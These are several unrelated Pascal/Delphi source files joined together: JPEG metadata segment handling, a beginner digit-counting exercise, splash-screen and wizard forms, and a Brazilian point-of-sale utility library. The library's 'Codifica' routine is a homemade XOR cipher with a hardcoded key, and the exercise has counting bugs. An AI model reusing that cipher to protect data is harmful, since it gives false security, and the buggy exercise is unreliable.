WriteJPEGSegmentToStream(Stream, Segment.MarkerNum, Segment.Data);
end;
function CreateAdobeBlock: IAdobeBlock; overload;
begin
Result := TAdobeBlock.Create;
end;
function CreateAdobeBlock(ATypeID: Word; const AName: AnsiString;
const ADataSource: IStreamPersist): IAdobeBlock; overload;
begin
Result := TAdobeBlock.Create('8BIM', ATypeID, AName, ADataSource);
end;
function CreateAdobeBlock(const ASignature: AnsiString; ATypeID: Word;
const AName: AnsiString; const ADataSource: IStreamPersist): IAdobeBlock; overload;
begin
Result := TAdobeBlock.Create(ASignature, ATypeID, AName, ADataSource);
end;
function CreateAdobeApp13Segment(const Blocks: array of IAdobeBlock): IJPEGSegment;
var
Item: IAdobeBlock;
Stream: TStream;
begin
Result := TUserJPEGSegment.Create(jmApp13);
Stream := Result.Data;
Stream.WriteBuffer(TUserJPEGSegment.AdobeHeader, SizeOf(TUserJPEGSegment.AdobeHeader));
for Item in Blocks do
Item.SaveToStream(Stream);
end;
function CreateAdobeApp13Segment(const Blocks: IInterfaceList): IJPEGSegment;
var
I: Integer;
Stream: TStream;
begin
Result := TUserJPEGSegment.Create(jmApp13);
Stream := Result.Data;
Stream.WriteBuffer(TUserJPEGSegment.AdobeHeader, SizeOf(TUserJPEGSegment.AdobeHeader));
if Blocks <> nil then
for I := 0 to Blocks.Count - 1 do
(Blocks[I] as IAdobeBlock).SaveToStream(Stream);
end;
function DoRemoveJPEGSegments(InStream, OutStream: TStream; Markers: TJPEGMarkers): TJPEGMarkers;
var
Segment: IFoundJPEGSegment;
StartPos: Int64;
begin
Result := [];
StartPos := InStream.Position;
for Segment in JPEGHeader(InStream, Markers) do
begin
Include(Result, Segment.MarkerNum);
if Segment.Offset <> StartPos then
begin
InStream.Position := StartPos;
OutStream.CopyFrom(InStream, Segment.Offset - StartPos);
end;
StartPos := Segment.Offset + Segment.TotalSize;
end;
InStream.Position := StartPos;
OutStream.CopyFrom(InStream, InStream.Size - StartPos);
end;
function RemoveJPEGSegments(const JPEGFile: string; Markers: TJPEGMarkers): TJPEGMarkers;
var
InStream: TMemoryStream;
OutStream: TFileStream;
begin
if Markers = [] then Exit;
OutStream := nil;
InStream := TMemoryStream.Create;
try
InStream.LoadFromFile(JPEGFile);
OutStream := TFileStream.Create(JPEGFile, fmCreate);
Result := DoRemoveJPEGSegments(InStream, OutStream, Markers);
finally
OutStream.Free;
InStream.Free;
end;
end;
function RemoveJPEGSegments(Image: TJPEGImage; Markers: TJPEGMarkers): TJPEGMarkers;
var
InStream, OutStream: TMemoryStream;
begin
if Markers = [] then Exit;
OutStream := nil;
InStream := TMemoryStream.Create;
try
Image.SaveToStream(InStream);
InStream.Position := 0;
OutStream := TMemoryStream.Create;
Result := DoRemoveJPEGSegments(InStream, OutStream, Markers);
if Result <> [] then
begin
OutStream.Position := 0;
Image.LoadFromStream(OutStream);
end;
finally
OutStream.Free;
InStream.Free;
end;
end;
end.
|
{Faça um programa Pascal que leia dois números n e outro m (0 <= n <= 9) e conte quantos dígitos n existem em m. Se não existir nenhum dígito correspondente, a mensagem "NAO" deve ser exibida. Caso contrário imprima o resultado do seu cálculo.}
program arranjos;
var
n, m, contaDigitos: longint;
begin
read(n, m);
if m > 10000 then
begin
if m div 10000 = n then
contaDigitos := contaDigitos + 1;
if (m div 1000) mod 10 = n then
contaDigitos := contaDigitos + 1;
if (m div 100) mod 10 = n then
contaDigitos := contaDigitos + 1;
if m mod 10 = n then
contaDigitos := contaDigitos + 1;
end
else
begin
if (m div 1000) mod 10 = n then
contaDigitos := contaDigitos + 1;
if (m div 100) mod 10 = n then
contaDigitos := contaDigitos + 1;
if m mod 10 = n then
contaDigitos := contaDigitos + 1;
end;
if contaDigitos = 0 then
writeln('NAO')
else
begin
writeln(contaDigitos);
end;
end. |
unit SplashForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,
SimpleTimer,
InflatablesList_Manager;
type
TfSplashForm = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
fILManager: TILManager;
fSplashBitmap: TBitmap;
fSplashPosition: TPoint;
fSplashSize: TSize;
fSplashBlendFunction: TBlendFunction;
fCloseTimer: TSimpleTimer;
protected
procedure OnCloseTimerHandler(Sender: TObject);
public
{ Public declarations }
procedure Initialize(ILManager: TILManager);
procedure Finalize;
procedure ShowSplash;
procedure LoadingDone(Success: Boolean);
end;
var
fSplashForm: TfSplashForm;
implementation
uses
StrRect,
MainForm;
{$R *.dfm}
// resource containing the splash bitmap
{$R '..\resources\splash.res'}
procedure TfSplashForm.OnCloseTimerHandler(Sender: TObject);
begin
Close;
end;
//==============================================================================
procedure TfSplashForm.Initialize(ILManager: TILManager);
begin
fILManager := ILManager;
end;
//------------------------------------------------------------------------------
procedure TfSplashForm.Finalize;
begin
// nothing to do
end;
//------------------------------------------------------------------------------
procedure TfSplashForm.ShowSplash;
begin
Show;
end;
//------------------------------------------------------------------------------
procedure TfSplashForm.LoadingDone(Success: Boolean);
begin
If Success then
begin
fMainForm.Show;
fCloseTimer.Enabled := True;
// closing in this case is called by timer
end
else Close;
end;
//==============================================================================
procedure TfSplashForm.FormCreate(Sender: TObject);
var
ResStream: TResourceStream;
begin
// this all must be here, because the window is shown before a call to initialize
// get splash bitmap
ResStream := TResourceStream.Create(hInstance,StrToRTL('splash'),PChar(10){RT_RCDATA});
try
ResStream.Seek(0,soBeginning);
fSplashBitmap := TBitmap.Create;
fSplashBitmap.LoadFromStream(ResStream);
finally
ResStream.Free;
end;
// fill some required info
fSplashPosition := Point(0,0);
fSplashSize.cx := fSplashBitmap.Width;
fSplashSize.cy := fSplashBitmap.Height;
fSplashBlendFunction.BlendOp := AC_SRC_OVER;
fSplashBlendFunction.BlendFlags := 0;
fSplashBlendFunction.SourceConstantAlpha := 255;
fSplashBlendFunction.AlphaFormat := AC_SRC_ALPHA;
// adjust window style, size and position
BorderStyle := bsNone;
FormStyle := fsStayOnTop;
ClientWidth := fSplashBitmap.Width;
ClientHeight := fSplashBitmap.Height;
Position := poScreenCenter;
// layered window calls (low-level)
SetWindowLong(Handle,GWL_EXSTYLE,GetWindowLong(Handle,GWL_EXSTYLE) or WS_EX_LAYERED);
UpdateLayeredWindow(Handle,0,nil,@fSplashSize,fSplashBitmap.Canvas.Handle,@fSplashPosition,0,@fSplashBlendFunction,ULW_ALPHA);
// some other stuff
fCloseTimer := TSimpleTimer.Create;
fCloseTimer.Enabled := False;
fCloseTimer.Interval := 500; // 0.5s
fCloseTimer.OnTimer := OnCloseTimerHandler;
end;
//------------------------------------------------------------------------------
procedure TfSplashForm.FormDestroy(Sender: TObject);
begin
FreeAndNil(fCloseTimer);
FreeAndNil(fSplashBitmap);
end;
end.
|
unit frmWizard;
interface
uses
Classes, ComCtrls,
Controls, Dialogs, ExtCtrls,
Forms,
Graphics, Messages, OTFEFreeOTFEBase_U, SDUForms, StdCtrls, SysUtils, Variants, Windows;
type
TfrmWizard = class (TSDUForm)
pnlRight: TPanel;
pcWizard: TPageControl;
pnlButtons: TPanel;
lblStage: TLabel;
lblCompleteIndicator: TLabel;
pbNext: TButton;
pbBack: TButton;
pbFinish: TButton;
pbCancel: TButton;
pbStage: TProgressBar;
bvlLine: TBevel;
procedure pbBackClick(Sender: TObject);
procedure pbNextClick(Sender: TObject);
procedure pbFinishClick(Sender: TObject);
procedure FormShow(Sender: TObject);
private
fOnWizardStepChanged: TNotifyEvent;
protected
procedure SetupInstructions(); virtual;
procedure EnableDisableControls(); virtual;
procedure UpdateUIAfterChangeOnCurrentTab(); virtual;
function IsTabComplete(checkTab: TTabSheet): Boolean; virtual; abstract;
procedure UpdateStageDisplay();
function NextTabInDir(gotoNext: Boolean): TTabSheet;
function IsTabSkipped(tabSheet: TTabSheet): Boolean; virtual;
//is tab required to be completed
function IsTabRequired(tabSheet: TTabSheet): Boolean; virtual;
public
// fFreeOTFEObj: TOTFEFreeOTFEBase;
published
property OnWizardStepChanged: TNotifyEvent Read fOnWizardStepChanged
Write fOnWizardStepChanged;
end;
implementation
{$R *.dfm}
uses
//sdu
SDUGeneral, SDUi18n,
//delphi
Math;
procedure TfrmWizard.FormShow(Sender: TObject);
var
i: Integer;
begin
// Note: SetupInstructions(...) must be called before inherited - otherwise
// the translation system will cause the instructions controls to
// display whatever they were set to at design time
SetupInstructions();
inherited;
// Set this to TRUE or comment out the next line for debug
lblCompleteIndicator.Visible :=
{$IFDEF DEBUG}
//True
false
{$ELSE}
False
{$ENDIF}
;
// We change the style to one of the "flat" styles so that no border is shown
pcWizard.Style := tsFlatButtons;
SDUClearPanel(pnlRight);
SDUClearPanel(pnlButtons);
bvlLine.Height := 2;
// Select the first tab
// This is done to ensure that the "master key length" tab isn't selected
// during initialization; if it is then it'll be checked to see if it's
// complete during initialization - and since it requires the user to
// have selected a cypher, it will fail to get the cypher's keylen
pcWizard.ActivePageIndex := 0;
//set up tags. tag=0 means needs to be completed. if not req'd set to 1 initially, else assume incomplete
for i := 0 to (pcWizard.PageCount - 1) do
pcWizard.Pages[i].tag := IfThen(IsTabRequired(pcWizard.Pages[i]), 0, 1);
// hide all tabs - wizard style
for i := 0 to (pcWizard.PageCount - 1) do
pcWizard.Pages[i].TabVisible := False;
// Select the first tab
// Yes, this is required; get an access violation if this isn't done
pcWizard.ActivePageIndex := 0;
end;
procedure TfrmWizard.pbBackClick(Sender: TObject);
var
newTab: TTabSheet;
begin
inherited;
newTab := NextTabInDir(False);
if (newTab <> nil) then begin
pcWizard.ActivePage := newTab;
UpdateUIAfterChangeOnCurrentTab();
if Assigned(FOnWizardStepChanged) then begin
FOnWizardStepChanged(self);
end;
end;
end;
procedure TfrmWizard.pbFinishClick(Sender: TObject);
begin
// Nothing in base class
end;
procedure TfrmWizard.pbNextClick(Sender: TObject);
var
newTab: TTabSheet;
begin
inherited;
newTab := NextTabInDir(True);
if (newTab <> nil) then begin
pcWizard.ActivePage := newTab;
UpdateUIAfterChangeOnCurrentTab();
if Assigned(FOnWizardStepChanged) then begin
FOnWizardStepChanged(self);
end;
end;
end;
procedure TfrmWizard.UpdateStageDisplay();
var
totalReqStages, totalStages: Integer;
currStage: Integer;
i: Integer;
begin
// This functions also sets the stage x/y progress display
totalStages := pcWizard.PageCount;
totalReqStages := pcWizard.PageCount;
currStage := pcWizard.ActivePageIndex + 1;
for i := 0 to (pcWizard.PageCount - 1) do begin
if IsTabSkipped(pcWizard.Pages[i]) then begin
Dec(totalStages);
Dec(totalReqStages);
end else begin
// skipped tabs have undefined return values from IsTabRequired
if (not IsTabRequired(pcWizard.Pages[i])) then
Dec(totalReqStages);
end;
//todo:seems a bit complicated - isn't there an activepageindex property?
// if IsTabSkipped(pcWizard.Pages[i]) and SDUIsTabSheetAfter(pcWizard, pcWizard.Pages[i], pcWizard.ActivePage) then
// Dec(currStage);
if IsTabSkipped(pcWizard.Pages[i]) and (pcWizard.ActivePageIndex > i) then
Dec(currStage);
end;
pbStage.Min := 1;
// if have done all required stages, update wit non required ones
if currStage <= totalReqStages then begin
pbStage.Max := totalReqStages;
pbStage.Position := currStage;
lblStage.Caption := SDUParamSubstitute(_('Stage %1 of %2'), [currStage, totalReqStages]);
end else begin
pbStage.Max := totalStages;
pbStage.Position := currStage;
lblStage.Caption := SDUParamSubstitute(_('Stage %1 of %2 (Optional)'),
[currStage, totalStages]);
end;
end;
procedure TfrmWizard.UpdateUIAfterChangeOnCurrentTab;
var
allOK: Boolean;
begin
//is tab complete?
allOK := IsTabComplete(pcWizard.ActivePage);
pcWizard.ActivePage.Tag := 0;
if allOK then
pcWizard.ActivePage.Tag := 1;
EnableDisableControls();
// This is a good time to update the stage X of Y display - any changes to
// the tab's settings may have reduced/increased the number of stages
UpdateStageDisplay();
end;
// Get the next tabsheet in the specified direction
// gotoNext - Set to TRUE to go to the next tab, set to FALSE to go to the
// previous tab
function TfrmWizard.NextTabInDir(gotoNext: Boolean): TTabSheet;
var
tmpSheet: TTabSheet;
sheetSkipped: Boolean;
begin
tmpSheet := pcWizard.FindNextPage(pcWizard.ActivePage, gotoNext, False);
// Set sheetSkipped to TRUE to bootstrap the while statement
sheetSkipped := True;
while (sheetSkipped) do begin
if ((gotoNext and (tmpSheet = pcWizard.Pages[0])) or ((not gotoNext) and
(tmpSheet = pcWizard.Pages[pcWizard.PageCount - 1]))) then begin
// Wrapped; no more pages in the specified direction, so break & return
// nil
tmpSheet := nil;
break;
end;
sheetSkipped := IsTabSkipped(tmpSheet);
if (sheetSkipped) then begin
tmpSheet.Tag := 1; // Skipped sheets are always complete
tmpSheet := pcWizard.FindNextPage(tmpSheet, gotoNext, False);
end;
end; // while (sheetSkipped) do
Result := tmpSheet;
end;
function TfrmWizard.IsTabSkipped(tabSheet: TTabSheet): Boolean;
begin
Result := False;
end;
//is tab required to be completed (not called for skipped tabs)
function TfrmWizard.IsTabRequired(tabSheet: TTabSheet): Boolean;
begin
Result := True;
end;
procedure TfrmWizard.EnableDisableControls();
var
allDone: Boolean;
i: Integer;
begin
// Enable/disable the standard wizard Back, Next, Finish and Cancel buttons
// If there's a tab to "Next>" *to*, and we've completed the current tab...
pbNext.Enabled := (NextTabInDir(True) <> nil) and (pcWizard.ActivePage.Tag = 1);
pbBack.Enabled := (pcWizard.ActivePageIndex > 0);
allDone := True;
lblCompleteIndicator.Caption := '';
for i := 0 to (pcWizard.PageCount - 1) do begin
allDone := allDone and (pcWizard.Pages[i].Tag = 1);
if not (pcWizard.Pages[i].Tag = 1) then
lblCompleteIndicator.Caption := lblCompleteIndicator.Caption + ' -- ' + IntToStr(i);
end;
pbFinish.Enabled := allDone;
// Change default button as sensible
pbBack.Default := False;
pbNext.Default := False;
pbFinish.Default := False;
if pbFinish.Enabled then
pbFinish.Default := True
else
if pbNext.Enabled then
pbNext.Default := True
else
if pbBack.Enabled then
pbBack.Default := True;
end;
procedure TfrmWizard.SetupInstructions();
begin
// Nothing in base class
end;
end.
|
{*******************************************************************************
Title: T2TiPDV
Description: Biblioteca de funções.
The MIT License
Copyright: Copyright (C) 2016 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
alberteije@gmail.com
@author T2Ti.COM
@version 2.0
*******************************************************************************}
unit Biblioteca;
{$mode objfpc}{$H+}
interface
uses
BrookHTTPClient, BrookFCLHTTPClientBroker, BrookHTTPUtils, BrookUtils,
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, DB,
DBGrids, BufDataset, XMLRead, XMLWrite, DOM, VO, rxdbgrid, Typinfo, math,
FPJson, ZDataSet, Constantes;
function Modulo11(Numero: String): String;
Function ValidaCNPJ(xCNPJ: String):Boolean;
Function ValidaCPF( xCPF:String ):Boolean;
Function ValidaEstado(Dado : string) : boolean;
Function Hora_Seg( Horas:string ):LongInt;
Function Seg_Hora( Seg:LongInt ):string;
Function StrZero(Num:Real ; Zeros,Deci:integer): string;
Function TruncaValor(Value:Extended;Casas:Integer):Extended;
Function ArredondaTruncaValor(Operacao: String; Value: Extended; Casas: integer): Extended;
function UltimoDiaMes(Mdt: TDateTime): String; overload;
function UltimoDiaMes(pMes: String): String; overload;
procedure Split(const Delimiter: Char; Input: string; const Strings: TStrings);
function CriaGuidStr: string;
function TextoParaData(pData: string): TDate;
function DataParaTexto(pData: TDate): string;
function UFToInt(pUF: String): Integer;
function IntToUF(pUF: Integer): String;
function VerificaInteiro(Value: String): Boolean;
function Codifica(Action, Src: String): String;
function PeriodoAnterior(pMesAno: String): String;
function PeriodoPosterior(pMesAno: String): String;
function RetiraMascara(Texto:String): String;
procedure ConfiguraCDSFromVO(pCDS: TBufDataSet; pVOClass: TClassVO);
procedure AtualizaCaptionGrid(pGrid: TRxDBGrid; pFieldName, pCaption: string);
procedure ConfiguraTamanhoColunaGrid(pGrid: TRxDBGrid; pFieldName: string; pTamanho: integer; pCaption: String);
procedure ConfiguraGridFromVO(pGrid: TRxDBGrid; pVOClass: TClassVO);
function TrataNomeProperty(NomeCampo: String): String;
function FormataFloat(Tipo: String; Valor: Extended): string; // Tipo => 'Q'=Quantidade | 'V'=Valor
function ProcessRequest(const AHttpResult: TBrookHTTPResult): boolean;
function ProcessRequestQuiet(const AHttpResult: TBrookHTTPResult): boolean;
procedure ConsultarVO(pFiltro: String; var pObjeto: TVO);
procedure AtualizaCDSJson(pDadosJson: TJSONData; pDataSet: TBufDataSet);
procedure AtualizaCDSZeos(pZQuery: TZQuery; pDataSet: TBufDataSet);
implementation
uses SessaoUsuario;
function FormataFloat(Tipo: String; Valor: Extended): string; // Tipo => 'Q'=Quantidade | 'V'=Valor
var
i: integer;
Mascara: String;
begin
Mascara := '0.';
if Tipo = 'Q' then
begin
for i := 1 to Constantes.TConstantes.DECIMAIS_QUANTIDADE do
Mascara := Mascara + '0';
end
else if Tipo = 'V' then
begin
for i := 1 to Constantes.TConstantes.DECIMAIS_VALOR do
Mascara := Mascara + '0';
end;
Result := FormatFloat(Mascara, Valor);
end;
function Modulo11(Numero: String): String;
var
i,j,k : Integer;
Soma : Integer;
Digito : Integer;
CNPJ : Boolean;
begin
Result := '';
Try
Soma := 0; k:= 2;
for i := Length(Numero) downto 1 do
begin
Soma := Soma + (StrToInt(Numero[i])*k);
inc(k);
if k > 9 then
k := 2;
end;
Digito := 11 - Soma mod 11;
if Digito >= 10 then
Digito := 0;
Result := Result + Chr(Digito + Ord('0'));
except
Result := 'X';
end;
end;
{ Valida o CNPJ digitado }
function ValidaCNPJ(xCNPJ: String):Boolean;
Var
d1,d4,xx,nCount,fator,resto,digito1,digito2 : Integer;
Check : String;
begin
d1 := 0;
d4 := 0;
xx := 1;
for nCount := 1 to Length( xCNPJ )-2 do
begin
if Pos( Copy( xCNPJ, nCount, 1 ), '/-.' ) = 0 then
begin
if xx < 5 then
begin
fator := 6 - xx;
end
else
begin
fator := 14 - xx;
end;
d1 := d1 + StrToInt( Copy( xCNPJ, nCount, 1 ) ) * fator;
if xx < 6 then
begin
fator := 7 - xx;
end
else
begin
fator := 15 - xx;
end;
d4 := d4 + StrToInt( Copy( xCNPJ, nCount, 1 ) ) * fator;
xx := xx+1;
end;
end;
resto := (d1 mod 11);
if resto < 2 then
begin
digito1 := 0;
end
else
begin
digito1 := 11 - resto;
end;
d4 := d4 + 2 * digito1;
resto := (d4 mod 11);
if resto < 2 then
begin
digito2 := 0;
end
else
begin
digito2 := 11 - resto;
end;
Check := IntToStr(Digito1) + IntToStr(Digito2);
if Check <> copy(xCNPJ,succ(length(xCNPJ)-2),2) then
begin
Result := False;
end
else
begin
Result := True;
end;
end;
{ Valida o CPF digitado }
function ValidaCPF( xCPF:String ):Boolean;
Var
d1,d4,xx,nCount,resto,digito1,digito2 : Integer;
Check : String;
Begin
d1 := 0; d4 := 0; xx := 1;
for nCount := 1 to Length( xCPF )-2 do
begin
if Pos( Copy( xCPF, nCount, 1 ), '/-.' ) = 0 then
begin
d1 := d1 + ( 11 - xx ) * StrToInt( Copy( xCPF, nCount, 1 ) );
d4 := d4 + ( 12 - xx ) * StrToInt( Copy( xCPF, nCount, 1 ) );
xx := xx+1;
end;
end;
resto := (d1 mod 11);
if resto < 2 then
begin
digito1 := 0;
end
else
begin
digito1 := 11 - resto;
end;
d4 := d4 + 2 * digito1;
resto := (d4 mod 11);
if resto < 2 then
begin
digito2 := 0;
end
else
begin
digito2 := 11 - resto;
end;
Check := IntToStr(Digito1) + IntToStr(Digito2);
if Check <> copy(xCPF,succ(length(xCPF)-2),2) then
begin
Result := False;
end
else
begin
Result := True;
end;
end;
{ Valida a UF digitada }
function ValidaEstado(Dado : string) : boolean;
const
Estados = 'SPMGRJRSSCPRESDFMTMSGOTOBASEALPBPEMARNCEPIPAAMAPFNACRRRO';
var
Posicao : integer;
begin
Result := true;
if Dado <> '' then
begin
Posicao := Pos(UpperCase(Dado),Estados);
if (Posicao = 0) or ((Posicao mod 2) = 0) then
begin
Result := false;
end;
end;
end;
{Converte de hora para segundos}
function Hora_Seg( Horas:string ):LongInt;
Var Hor,Min,Seg:LongInt;
begin
Horas[Pos(':',Horas)]:= '[';
Horas[Pos(':',Horas)]:= ']';
Hor := StrToInt(Copy(Horas,1,Pos('[',Horas)-1));
Min := StrToInt(Copy(Horas,Pos('[',Horas)+1,(Pos(']',Horas)-Pos('[',Horas)-1)));
if Pos(':',Horas) > 0 then
Seg := StrToInt(Copy(Horas,Pos(']',Horas)+1,(Pos(':',Horas)-Pos(']',Horas)-1)))
else
Seg := StrToInt(Copy(Horas,Pos(']',Horas)+1,2));
Result := Seg + (Hor*3600) + (Min*60);
end;
{Converte de segundos para hora}
function Seg_Hora( Seg:LongInt ):string;
Var Hora,Min:LongInt;
Tmp : Double;
begin
Tmp := Seg / 3600;
Hora := Round(Int(Tmp));
Seg := Round(Seg - (Hora*3600));
Tmp := Seg / 60;
Min := Round(Int(Tmp));
Seg := Round(Seg - (Min*60));
Result := StrZero(Hora,2,0)+':'+StrZero(Min,2,0)+':'+StrZero(Seg,2,0);
end;
function StrZero(Num:Real ; Zeros,Deci:integer): string;
var Tam,Z:integer;
Res,Zer:string;
begin
Str(Num:Zeros:Deci,Res);
Res := Trim(Res);
Tam := Length(Res);
Zer := '';
for z := 01 to (Zeros-Tam) do
Zer := Zer + '0';
Result := Zer+Res;
end;
Function TruncaValor(Value:Extended;Casas:Integer):Extended;
Var sValor:String;
nPos:Integer;
begin
//Transforma o valor em string
sValor := FloatToStr(Value);
//Verifica se possui ponto decimal
nPos := Pos(DecimalSeparator,sValor);
If ( nPos > 0 ) Then begin
sValor := Copy(sValor,1,nPos+Casas);
End;
Result := StrToFloat(sValor);
end;
Function ArredondaTruncaValor(Operacao: String; Value: Extended; Casas: integer): Extended;
Var
sValor: String;
nPos: integer;
begin
if Operacao = 'A' then
Result := SimpleRoundTo(Value, Casas * -1)
else
begin
// Transforma o valor em string
sValor := FloatToStr(Value);
// Verifica se possui ponto decimal
nPos := Pos(FormatSettings.DecimalSeparator, sValor);
If (nPos > 0) Then
begin
sValor := Copy(sValor, 1, nPos + Casas);
End;
Result := StrToFloat(sValor);
end;
end;
function UltimoDiaMes(Mdt: TDateTime): String;
var
ano, mes, dia: word;
mDtTemp: TDateTime;
begin
Decodedate(Mdt, ano, mes, dia);
mDtTemp := (Mdt - dia) + 33;
Decodedate(mDtTemp, ano, mes, dia);
mDtTemp := mDtTemp - dia;
Decodedate(mDtTemp, ano, mes, dia);
Result := IntToStr(dia)
end;
function UltimoDiaMes(pMes: String): String;
var
ano, mes, dia: word;
mDtTemp: TDateTime;
Mdt: TDateTime;
begin
Mdt := StrToDateTime('01/' + pMes + '/' + FormatDateTime('YYYY', Now));
Decodedate(Mdt, ano, mes, dia);
mDtTemp := (Mdt - dia) + 33;
Decodedate(mDtTemp, ano, mes, dia);
mDtTemp := mDtTemp - dia;
Decodedate(mDtTemp, ano, mes, dia);
Result := IntToStr(dia)
end;
procedure Split(const Delimiter: Char; Input: string; const Strings: TStrings);
begin
Assert(Assigned(Strings)) ;
Strings.Clear;
Strings.Delimiter := Delimiter;
Strings.DelimitedText := Input;
end;
function CriaGuidStr: string;
var
Guid: TGUID;
begin
CreateGUID(Guid);
Result := GUIDToString(Guid);
end;
function TextoParaData(pData: string): TDate;
var
Dia, Mes, Ano: Integer;
begin
if (pData <> '') AND (pData <> '0000-00-00') then
begin
Dia := StrToInt(Copy(pData,9,2));
Mes := StrToInt(Copy(pData,6,2));
Ano := StrToInt(Copy(pData,1,4));
Result := EncodeDate(Ano,Mes,Dia);
end
else
begin
Result := 0;
end;
end;
function DataParaTexto(pData: TDate): string;
begin
if pData > 0 then
Result := FormatDateTime('YYYY-MM-DD',pData)
else
Result := '0000-00-00';
end;
// função auxiliar para converte UF do cliente para codigo
function UFToInt(pUF: String): integer;
begin
Result := 0;
if pUF = 'RO' then
Result := 11;
if pUF = 'AC' then
Result := 12;
if pUF = 'AM' then
Result := 13;
if pUF = 'RR' then
Result := 14;
if pUF = 'PA' then
Result := 15;
if pUF = 'AP' then
Result := 16;
if pUF = 'TO' then
Result := 17;
if pUF = 'MA' then
Result := 21;
if pUF = 'PI' then
Result := 22;
if pUF = 'CE' then
Result := 23;
if pUF = 'RN' then
Result := 24;
if pUF = 'PB' then
Result := 25;
if pUF = 'PE' then
Result := 26;
if pUF = 'AL' then
Result := 27;
if pUF = 'SE' then
Result := 28;
if pUF = 'BA' then
Result := 29;
if pUF = 'MG' then
Result := 31;
if pUF = 'ES' then
Result := 32;
if pUF = 'RJ' then
Result := 33;
if pUF = 'SP' then
Result := 35;
if pUF = 'PR' then
Result := 41;
if pUF = 'SC' then
Result := 42;
if pUF = 'RS' then
Result := 43;
if pUF = 'MS' then
Result := 50;
if pUF = 'MT' then
Result := 51;
if pUF = 'GO' then
Result := 52;
if pUF = 'DF' then
Result := 53;
end;
// função auxiliar para converte Codigo UF do cliente para UF
function IntToUF(pUF: integer): String;
begin
Result := '';
if pUF = 11 then
Result := 'RO';
if pUF = 12 then
Result := 'AC';
if pUF = 13 then
Result := 'AM';
if pUF = 14 then
Result := 'RR';
if pUF = 15 then
Result := 'PA';
if pUF = 16 then
Result := 'AP';
if pUF = 17 then
Result := 'TO';
if pUF = 21 then
Result := 'MA';
if pUF = 22 then
Result := 'PI';
if pUF = 23 then
Result := 'CE';
if pUF = 24 then
Result := 'RN';
if pUF = 25 then
Result := 'PB';
if pUF = 26 then
Result := 'PE';
if pUF = 27 then
Result := 'AL';
if pUF = 28 then
Result := 'SE';
if pUF = 29 then
Result := 'BA';
if pUF = 31 then
Result := 'MG';
if pUF = 32 then
Result := 'ES';
if pUF = 33 then
Result := 'RJ';
if pUF = 35 then
Result := 'SP';
if pUF = 41 then
Result := 'PR';
if pUF = 42 then
Result := 'SC';
if pUF = 43 then
Result := 'RS';
if pUF = 50 then
Result := 'MS';
if pUF = 51 then
Result := 'MT';
if pUF = 52 then
Result := 'GO';
if pUF = 53 then
Result := 'DF';
end;
function VerificaInteiro(Value: String): Boolean;
var
i: integer;
begin
Result := False;
for i := 0 to 9 do
begin
if Pos(IntToStr(i), Value) <> 0 then
begin
Result := True;
exit;
end;
end;
end;
function Codifica(Action, Src: String): String;
Label Fim; //Função para criptografar e descriptografar string's
var
KeyLen : Integer;
KeyPos : Integer;
OffSet : Integer;
Dest, Key : String;
SrcPos : Integer;
SrcAsc : Integer;
TmpSrcAsc : Integer;
Range : Integer;
begin
try
if (Src = '') Then
begin
Result:= '';
Goto Fim;
end;
Key := 'YUQL23KL23DF90WI5E1JAS467NMCXXL6JAOAUWWMCL0AOMM4A4VZYW9KHJUI2347EJHJKDF3424SKL K3LAKDJSL9RTIKJ';
Dest := '';
KeyLen := Length(Key);
KeyPos := 0;
SrcPos := 0;
SrcAsc := 0;
Range := 256;
if (Action = UpperCase('C')) then
begin
Randomize;
OffSet := Random(Range);
Dest := Format('%1.2x',[OffSet]);
for SrcPos := 1 to Length(Src) do
begin
Application.ProcessMessages;
SrcAsc := (Ord(Src[SrcPos]) + OffSet) Mod 255;
if KeyPos < KeyLen then KeyPos := KeyPos + 1 else KeyPos := 1;
SrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
Dest := Dest + Format('%1.2x',[SrcAsc]);
OffSet := SrcAsc;
end;
end
Else if (Action = UpperCase('D')) then
begin
OffSet := StrToInt('$'+ copy(Src,1,2));
SrcPos := 3;
repeat
SrcAsc := StrToInt('$'+ copy(Src,SrcPos,2));
if (KeyPos < KeyLen) Then KeyPos := KeyPos + 1 else KeyPos := 1;
TmpSrcAsc := SrcAsc Xor Ord(Key[KeyPos]);
if TmpSrcAsc <= OffSet then TmpSrcAsc := 255 + TmpSrcAsc - OffSet
else TmpSrcAsc := TmpSrcAsc - OffSet;
Dest := Dest + Chr(TmpSrcAsc);
OffSet := SrcAsc;
SrcPos := SrcPos + 2;
until (SrcPos >= Length(Src));
end;
Result:= Dest;
Fim:
except
Src := '';
Result:= '';
end;
end;
function PeriodoAnterior(pMesAno: String): String;
var
Mes, Ano: Integer;
begin
Mes := StrToInt(Copy(pMesAno, 1, 2));
Ano := StrToInt(Copy(pMesAno, 4, 4));
if Mes = 1 then
begin
Mes := 12;
Ano := Ano - 1;
Result := IntToStr(Mes) + '/' + IntToStr(Ano);
end
else
Result := StringOfChar('0', 2 - Length(IntToStr(Mes - 1))) + IntToStr(Mes - 1) + '/' + IntToStr(Ano);
end;
function PeriodoPosterior(pMesAno: String): String;
var
Mes, Ano: Integer;
begin
Mes := StrToInt(Copy(pMesAno, 1, 2));
Ano := StrToInt(Copy(pMesAno, 4, 4));
if Mes = 12 then
begin
Mes := 1;
Ano := Ano + 1;
Result := IntToStr(Mes) + '/' + IntToStr(Ano);
end
else
